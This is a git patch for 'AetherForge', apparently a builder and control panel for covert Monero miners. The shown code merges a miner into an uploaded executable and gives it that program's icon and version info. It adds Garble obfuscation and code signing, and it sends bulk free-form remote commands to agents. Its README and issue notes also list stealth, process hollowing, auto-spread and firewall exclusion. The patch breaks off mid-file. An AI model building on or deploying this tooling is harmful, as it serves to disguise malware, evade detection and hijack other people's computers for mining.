From c95a4373ded9be0de2a5d514613e9c386fbd6665 Mon Sep 17 00:00:00 2001 From: drjones Date: Thu, 28 May 2026 21:48:20 -0700 Subject: [PATCH] Add forge pipeline polish, simple forge UX, and fleet management upgrades. Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads. --- PROBLEMS.md | 11 +- README.md | 2 +- run.bat | 20 +- server/config.go | 19 ++ server/go.mod | 7 + server/go.sum | 22 ++ server/internal/api/fleet_handler.go | 78 +++++ server/internal/api/router.go | 3 + server/internal/api/ws_types.go | 39 +++ server/internal/builder/compile.go | 62 ++++ server/internal/builder/estimate.go | 129 ++++++++ server/internal/builder/estimate_test.go | 29 ++ server/internal/builder/fusion.go | 21 +- server/internal/builder/handler.go | 118 ++++++- server/internal/builder/icon_resource.go | 36 +++ server/internal/builder/icon_stub.go | 6 + server/internal/builder/icon_test.go | 36 +++ server/internal/builder/icon_windows.go | 96 ++++-- server/internal/builder/sign_stub.go | 13 + server/internal/builder/sign_windows.go | 79 +++++ server/internal/builder/winres.go | 54 ++++ server/internal/db/agent_meta.go | 58 ++++ server/internal/db/sqlite.go | 27 +- server/internal/models/agent.go | 3 + server/main.go | 11 + server/web/src/api/client.ts | 31 +- .../src/components/Fleet/AgentListItem.tsx | 97 ++++++ .../components/Fleet/AgentRemoteActions.tsx | 57 ++-- .../web/src/components/Fleet/FleetToolbar.css | 103 ++++++ .../web/src/components/Fleet/FleetToolbar.tsx | 92 ++++++ server/web/src/help/fleetFilters.test.ts | 53 ++++ server/web/src/help/fleetFilters.ts | 95 ++++++ server/web/src/help/forgeDefaults.ts | 7 +- server/web/src/help/forgeRules.ts | 9 + .../web/src/help/forgeSmartDefaults.test.ts | 26 ++ server/web/src/help/forgeSmartDefaults.ts | 125 ++++++++ server/web/src/help/settingHelp.ts | 38 ++- server/web/src/hooks/useWebSocket.ts | 46 ++- server/web/src/pages/AgentsPage.tsx | 207 +++++++++--- server/web/src/pages/BuilderPage.tsx | 294 +++++++++++++++--- server/web/src/pages/DashboardPage.tsx | 104 +++++-- server/web/src/pages/Pages.css | 17 + server/web/src/pages/SettingsPage.tsx | 89 +++++- server/web/src/types/index.ts | 29 +- server/web/src/types/ws.ts | 56 ++++ 45 files changed, 2282 insertions(+), 272 deletions(-) create mode 100644 server/internal/api/ws_types.go create mode 100644 server/internal/builder/compile.go create mode 100644 server/internal/builder/estimate.go create mode 100644 server/internal/builder/estimate_test.go create mode 100644 server/internal/builder/icon_resource.go create mode 100644 server/internal/builder/icon_test.go create mode 100644 server/internal/builder/sign_stub.go create mode 100644 server/internal/builder/sign_windows.go create mode 100644 server/internal/builder/winres.go create mode 100644 server/internal/db/agent_meta.go create mode 100644 server/web/src/components/Fleet/AgentListItem.tsx create mode 100644 server/web/src/components/Fleet/FleetToolbar.css create mode 100644 server/web/src/components/Fleet/FleetToolbar.tsx create mode 100644 server/web/src/help/fleetFilters.test.ts create mode 100644 server/web/src/help/fleetFilters.ts create mode 100644 server/web/src/help/forgeSmartDefaults.test.ts create mode 100644 server/web/src/help/forgeSmartDefaults.ts create mode 100644 server/web/src/types/ws.ts diff --git a/PROBLEMS.md b/PROBLEMS.md index 16842dc..5f8d70c 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -29,7 +29,7 @@ Findings grouped by severity. Updated after bug-sweep pass. | M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` | | M11 | Blueprint delete returns boolean `success` | | — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) | -| — | AI shares wired from agent client stats | +| — | Fleet filters, bulk commands, per-agent notes/tags (SQLite) | | — | Ollama prompt: `reinstall_miner` uses `build_id` | | — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) | @@ -56,11 +56,10 @@ Findings grouped by severity. Updated after bug-sweep pass. | ID | Issue | |----|-------| -| M1 | Full tactical panel in agent list cards (compact mode exists but list still busy) | -| M4 | Forge UI has no toggles for hollowing/mesh/spread (types/defaults only) | -| M6 | Remote UI offline guard partial (compact checks `agent.status`) | +| M1 | Compact agent list default — expand on click; full detail panel retained | +| M6 | Remote actions disabled unless `status === online` (list, detail, dashboard) | | M7 | Row click vs button bubbling (compact uses `stopPropagation`) | -| M9 | Fusion icon needs network for `go-winres` at forge time | +| M9 | Fusion uses vendored `go-winres` (module + optional `go install` via run.bat) | ### Low @@ -68,7 +67,7 @@ Findings grouped by severity. Updated after bug-sweep pass. |----|-------| | L1 | Dead CSS `.agent-actions` in `FleetPanels.css` | | L2 | Duplicate CSS imports on Dashboard/Agents | -| L3 | Weak typing on WS payloads (`any`) | +| L3 | WS payloads typed in `types/ws.ts` + `api/ws_types.go` (partial — not all message types) | | L4 | No integration tests for remote actions | | L5 | Mesh P2P requires build tag `p2p` for full libp2p | diff --git a/README.md b/README.md index d2f94b2..ed85335 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI - Blueprint save/load — re-forge the same profile across machines - Build manager — download, paths, LAN QR for worker URL -- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon when icon extraction succeeds +- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon and version info; optional Garble obfuscation and Authenticode signing - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion ### Calibrate (Settings) diff --git a/run.bat b/run.bat index 27e9037..93ed600 100644 --- a/run.bat +++ b/run.bat @@ -4,6 +4,11 @@ title AetherForge Control Server cd /d "%~dp0" set "ROOT=%CD%" +if /i "%~1"=="release" ( + set "AETHERFORGE_RELEASE=1" + echo Release mode: Garble obfuscation default ON for new forges. +) + :: Remove corrupt empty Go file that breaks server builds (accidental placeholder). if exist "server\internal\ollama\main.go" ( for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go" @@ -67,14 +72,20 @@ echo Go installed. :go_ready -:: Garble (optional, for Forge obfuscation — failure is non-fatal) -echo [1.5/5] Checking Garble (optional)... +:: Garble + go-winres (Forge pipeline tools — failure is non-fatal) +echo [1.5/5] Checking Forge tools (Garble, go-winres)... where garble >nul 2>nul if errorlevel 1 ( echo Installing garble via go install... go install mvdan.cc/garble@latest if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable. ) +where go-winres >nul 2>nul +if errorlevel 1 ( + echo Installing go-winres via go install... + go install github.com/tc-hib/go-winres@v0.3.1 + if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge. +) :: ============================================================ :: STEP 2: Node.js @@ -185,6 +196,10 @@ if errorlevel 1 ( ) cd /d "%ROOT%" +if defined AETHERFORGE_RELEASE ( + echo Release mode active — set AETHERFORGE_RELEASE=1 for server process. +) + if not exist "bin\miner-server.exe" ( echo ERROR: bin\miner-server.exe was not created. goto fatal_exit @@ -219,6 +234,7 @@ echo. start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/" echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data" +if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1 echo. .\bin\miner-server.exe -port 8989 -data "%ROOT%\data" diff --git a/server/config.go b/server/config.go index 9517d7e..cdaa3f4 100644 --- a/server/config.go +++ b/server/config.go @@ -38,6 +38,11 @@ type ServerSettings struct { StrictWalletValidation bool `json:"strict_wallet_validation"` DashboardSubtitle string `json:"dashboard_subtitle"` OpenFirewallOnStart bool `json:"open_firewall_on_start"` + ObfuscateDefault bool `json:"obfuscate_default"` + SignEnabled bool `json:"sign_enabled"` + SignCertThumbprint string `json:"sign_cert_thumbprint"` + SignToolPath string `json:"sign_tool_path"` + SignTimestampURL string `json:"sign_timestamp_url"` } type PoolConfig struct { @@ -159,6 +164,9 @@ func DefaultConfig() *Config { StrictWalletValidation: false, DashboardSubtitle: "security is just an emotion", OpenFirewallOnStart: true, + ObfuscateDefault: false, + SignEnabled: false, + SignTimestampURL: "http://timestamp.digicert.com", }, } } @@ -338,6 +346,17 @@ func mergeConfig(dst, src *Config) { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart + dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault + dst.Server.SignEnabled = src.Server.SignEnabled + if src.Server.SignCertThumbprint != "" { + dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint + } + if src.Server.SignToolPath != "" { + dst.Server.SignToolPath = src.Server.SignToolPath + } + if src.Server.SignTimestampURL != "" { + dst.Server.SignTimestampURL = src.Server.SignTimestampURL + } } func (c *Config) Save() error { diff --git a/server/go.mod b/server/go.mod index 5bc54a7..01c930c 100644 --- a/server/go.mod +++ b/server/go.mod @@ -11,11 +11,18 @@ require ( ) require ( + github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect + github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/russross/blackfriday/v2 v2.1.0 // indirect + github.com/tc-hib/go-winres v0.3.1 // indirect + github.com/tc-hib/winres v0.1.6 // indirect + github.com/urfave/cli/v2 v2.3.0 // indirect + golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect golang.org/x/net v0.17.0 // indirect golang.org/x/sys v0.18.0 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect diff --git a/server/go.sum b/server/go.sum index d03798d..bd70d16 100644 --- a/server/go.sum +++ b/server/go.sum @@ -1,3 +1,7 @@ +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= +github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s= @@ -18,10 +22,25 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= +github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= +github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE= +github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k= +github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8= +github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A= +github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M= +github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= +golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk= +golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= @@ -29,8 +48,11 @@ golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk= modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ= modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA= diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 97b9c80..1be6fa7 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) }) } +type agentMetaRequest struct { + Notes string `json:"notes"` + Tags []string `json:"tags"` +} + +func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "agent id is required", http.StatusBadRequest) + return + } + var req agentMetaRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid body", http.StatusBadRequest) + return + } + if _, err := f.db.GetAgent(id); err != nil { + http.Error(w, "agent not found", http.StatusNotFound) + return + } + if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + agent, _ := f.db.GetAgent(id) + writeJSON(w, map[string]interface{}{"success": true, "agent": agent}) +} + +type bulkCommandRequest struct { + AgentIDs []string `json:"agent_ids"` + Action string `json:"action"` + Command string `json:"command,omitempty"` +} + +func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) { + if f.ws == nil { + http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) + return + } + var req bulkCommandRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid body", http.StatusBadRequest) + return + } + if req.Action == "" { + http.Error(w, "action is required", http.StatusBadRequest) + return + } + if len(req.AgentIDs) == 0 { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": "agent_ids is required", + }) + return + } + + args := map[string]interface{}{} + if req.Command != "" { + args["command"] = req.Command + } + + sent := 0 + failed := 0 + for _, id := range req.AgentIDs { + if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { + failed++ + } else { + sent++ + } + } + writeJSON(w, map[string]interface{}{ + "success": sent > 0, + "sent": sent, + "failed": failed, + "action": req.Action, + }) +} + // EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR). func EstimateXMRPerDay(hashrate float64) map[string]interface{} { const networkHashrate = 3_000_000_000.0 diff --git a/server/internal/api/router.go b/server/internal/api/router.go index c449226..5c44274 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler if fleetHandler != nil { r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) + r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) + r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand) } // Fleet ops @@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builder r.Post("/builder/build", builderHandler.ServeHTTP) + r.Post("/builder/estimate", builderHandler.ServeEstimate) // Blueprints (config presets) r.Get("/blueprints", blueprintHandler.ServeHTTP) diff --git a/server/internal/api/ws_types.go b/server/internal/api/ws_types.go new file mode 100644 index 0000000..86119c0 --- /dev/null +++ b/server/internal/api/ws_types.go @@ -0,0 +1,39 @@ +package api + +// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts). + +type WSDashboardInit struct { + Agents []interface{} `json:"agents"` +} + +type WSAgentOffline struct { + AgentID string `json:"agent_id"` +} + +type WSStatsUpdate struct { + AgentID string `json:"agent_id"` + Hashrate15s float64 `json:"hashrate_15s"` + Hashrate1m float64 `json:"hashrate_1m"` + Hashrate15m float64 `json:"hashrate_15m"` + CPUUsagePct float64 `json:"cpu_usage_pct"` + MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"` + UptimeSeconds int `json:"uptime_seconds,omitempty"` + SharesSubmitted int `json:"shares_submitted,omitempty"` + SharesAccepted int `json:"shares_accepted,omitempty"` +} + +type WSCommandResult struct { + AgentID string `json:"agent_id"` + Action string `json:"action"` + Success bool `json:"success"` + Message string `json:"message,omitempty"` +} + +type WSAgentLog struct { + AgentID string `json:"agent_id"` + Content string `json:"content"` +} + +type WSServerLog struct { + Line string `json:"line"` +} diff --git a/server/internal/builder/compile.go b/server/internal/builder/compile.go new file mode 100644 index 0000000..765a2b9 --- /dev/null +++ b/server/internal/builder/compile.go @@ -0,0 +1,62 @@ +package builder + +import ( + "fmt" + "log" + "os" + "os/exec" + "strings" +) + +func (h *Handler) buildTagsFor(req *BuildRequest) []string { + var tags []string + if req.ProcessHollowing { + tags = append(tags, "hollow") + } + if req.MeshP2P { + tags = append(tags, "p2p") + } + return tags +} + +func (h *Handler) shouldObfuscate(req *BuildRequest) bool { + if req.Obfuscate { + return true + } + return h.policy.DefaultObfuscate +} + +func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) { + env := append(os.Environ(), + "GOOS=windows", + "GOARCH=amd64", + "CGO_ENABLED=0", + ) + + buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath} + if len(tags) > 0 { + buildArgs = append(buildArgs, "-tags", strings.Join(tags, ",")) + } + buildArgs = append(buildArgs, ".") + + useGarble := obfuscate && h.garblePath != "" + if obfuscate && !useGarble { + log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary") + } + + var cmd *exec.Cmd + if useGarble { + garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...) + cmd = exec.Command(h.garblePath, garbleArgs...) + } else { + cmd = exec.Command(h.goBinPath, buildArgs...) + } + cmd.Dir = dir + cmd.Env = env + + out, err := cmd.CombinedOutput() + if err != nil { + return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out))) + } + return out, nil +} diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go new file mode 100644 index 0000000..d564e34 --- /dev/null +++ b/server/internal/builder/estimate.go @@ -0,0 +1,129 @@ +package builder + +import ( + "fmt" + "path/filepath" + "strings" +) + +const ( + defaultWorkerBytes int64 = 12 * 1024 * 1024 + defaultFusionStubBytes int64 = 2_500_000 + resourcePatchOverhead int64 = 150_000 +) + +type FusionEstimateResponse struct { + PrepBytes int64 `json:"prep_bytes"` + PrepName string `json:"prep_name"` + EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"` + EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"` + EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"` + EstimatedTotalBytes int64 `json:"estimated_total_bytes"` + OutputFileName string `json:"output_file_name"` + ProjectRootPath string `json:"project_root_path"` + ArchivePathHint string `json:"archive_path_hint"` + ExportPath string `json:"export_path,omitempty"` + Obfuscate bool `json:"obfuscate"` + SignBuild bool `json:"sign_build"` + Notes []string `json:"notes"` +} + +func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse { + outputName := req.FusionOutputName + if outputName == "" { + outputName = prepName + } + if outputName == "" { + outputName = "prep.exe" + } + if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { + outputName += ".exe" + } + outputName = sanitizeFileName(outputName) + + workerBytes := h.estimateWorkerBytes() + stubBytes := defaultFusionStubBytes + total := prepSize + workerBytes + stubBytes + resourcePatchOverhead + + root := h.projectRoot + if root == "" || root == "." { + root, _ = filepath.Abs(".") + } + projectOut := filepath.Join(root, outputName) + + resp := FusionEstimateResponse{ + PrepBytes: prepSize, + PrepName: prepName, + EstimatedWorkerBytes: workerBytes, + EstimatedFusionStubBytes: stubBytes, + EstimatedResourcePatchBytes: resourcePatchOverhead, + EstimatedTotalBytes: total, + OutputFileName: outputName, + ProjectRootPath: projectOut, + ArchivePathHint: filepath.Join(h.dataDir, "builds", "", outputName), + Obfuscate: h.shouldObfuscate(req), + SignBuild: req.SignBuild, + Notes: []string{ + fmt.Sprintf("Prep: %s", formatBytes(prepSize)), + fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)), + fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)), + "Final size may differ slightly after icon + version info patch.", + }, + } + + if strings.TrimSpace(req.OutputDir) != "" { + clean := filepath.Clean(strings.TrimSpace(req.OutputDir)) + if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) { + resp.ExportPath = filepath.Join(root, clean, outputName) + resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath)) + } + } + + if h.shouldObfuscate(req) && h.garblePath == "" { + resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).") + } + if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") { + resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.") + } + + _ = prepPath + return resp +} + +func (h *Handler) estimateWorkerBytes() int64 { + if h.db == nil { + return defaultWorkerBytes + } + builds, err := h.db.ListBuilds(40) + if err != nil || len(builds) == 0 { + return defaultWorkerBytes + } + var sum int64 + var count int64 + for _, b := range builds { + base := strings.ToLower(filepath.Base(b.FilePath)) + if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") { + if b.FileSize > 0 { + sum += b.FileSize + count++ + } + } + } + if count == 0 { + return defaultWorkerBytes + } + return sum / count +} + +func formatBytes(n int64) string { + const unit = 1024 + if n < unit { + return fmt.Sprintf("%d B", n) + } + div, exp := int64(unit), 0 + for v := n / unit; v >= unit; v /= unit { + div *= unit + exp++ + } + return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp]) +} diff --git a/server/internal/builder/estimate_test.go b/server/internal/builder/estimate_test.go new file mode 100644 index 0000000..dc77ac8 --- /dev/null +++ b/server/internal/builder/estimate_test.go @@ -0,0 +1,29 @@ +package builder + +import "testing" + +func TestEstimateFusionBuildTotals(t *testing.T) { + h := &Handler{ + dataDir: t.TempDir(), + projectRoot: t.TempDir(), + } + req := &BuildRequest{ + FusionEnabled: true, + FusionOutputName: "MyApp.exe", + OutputDir: "exports", + Obfuscate: true, + } + got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe") + if got.PrepBytes != 5*1024*1024 { + t.Fatalf("prep bytes: got %d", got.PrepBytes) + } + if got.EstimatedTotalBytes <= got.PrepBytes { + t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes) + } + if got.OutputFileName != "MyApp.exe" { + t.Fatalf("output name: %s", got.OutputFileName) + } + if got.ExportPath == "" { + t.Fatal("expected export path") + } +} diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go index e7a7cbe..e644f6d 100644 --- a/server/internal/builder/fusion.go +++ b/server/internal/builder/fusion.go @@ -2,9 +2,7 @@ package builder import ( "fmt" - "log" "os" - "os/exec" "path/filepath" "strings" ) @@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd } outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) - if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil { - log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err) - } - ldflags := fusionLdflags(prepPath) - cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".") - cmd.Dir = fusionDir - cmd.Env = append(os.Environ(), - "GOOS=windows", - "GOARCH=amd64", - "CGO_ENABLED=0", - ) - out, err := cmd.CombinedOutput() - if err != nil { - return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out))) + if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil { + return "", err + } + if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil { + return "", err } return outputPath, nil } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 2164fe0..ea27a17 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -65,6 +65,8 @@ type BuildRequest struct { ProcessHollowing bool `json:"process_hollowing"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` + Obfuscate bool `json:"obfuscate"` + SignBuild bool `json:"sign_build"` } type BuildResponse struct { @@ -82,6 +84,8 @@ type BuildResponse struct { UninstallExportPath string `json:"uninstall_export_path,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"` WorkerFile string `json:"worker_file,omitempty"` + Signed bool `json:"signed,omitempty"` + Obfuscated bool `json:"obfuscated,omitempty"` Error string `json:"error,omitempty"` } @@ -91,12 +95,24 @@ type Handler struct { agentSrcDir string projectRoot string goBinPath string + garblePath string + goWinresPath string + serverModDir string policy BuildPolicy } +type SignPolicy struct { + Enabled bool `json:"enabled"` + CertThumbprint string `json:"cert_thumbprint"` + ToolPath string `json:"tool_path"` + TimestampURL string `json:"timestamp_url"` +} + type BuildPolicy struct { StrictWalletValidation bool MaxBuildSizeMB int + DefaultObfuscate bool + Sign SignPolicy } func (h *Handler) SetBuildPolicy(p BuildPolicy) { @@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje if _, err := exec.LookPath("go"); err == nil { goBin = "go" } - return &Handler{ + h := &Handler{ db: database, dataDir: dataDir, agentSrcDir: agentSrcDir, projectRoot: 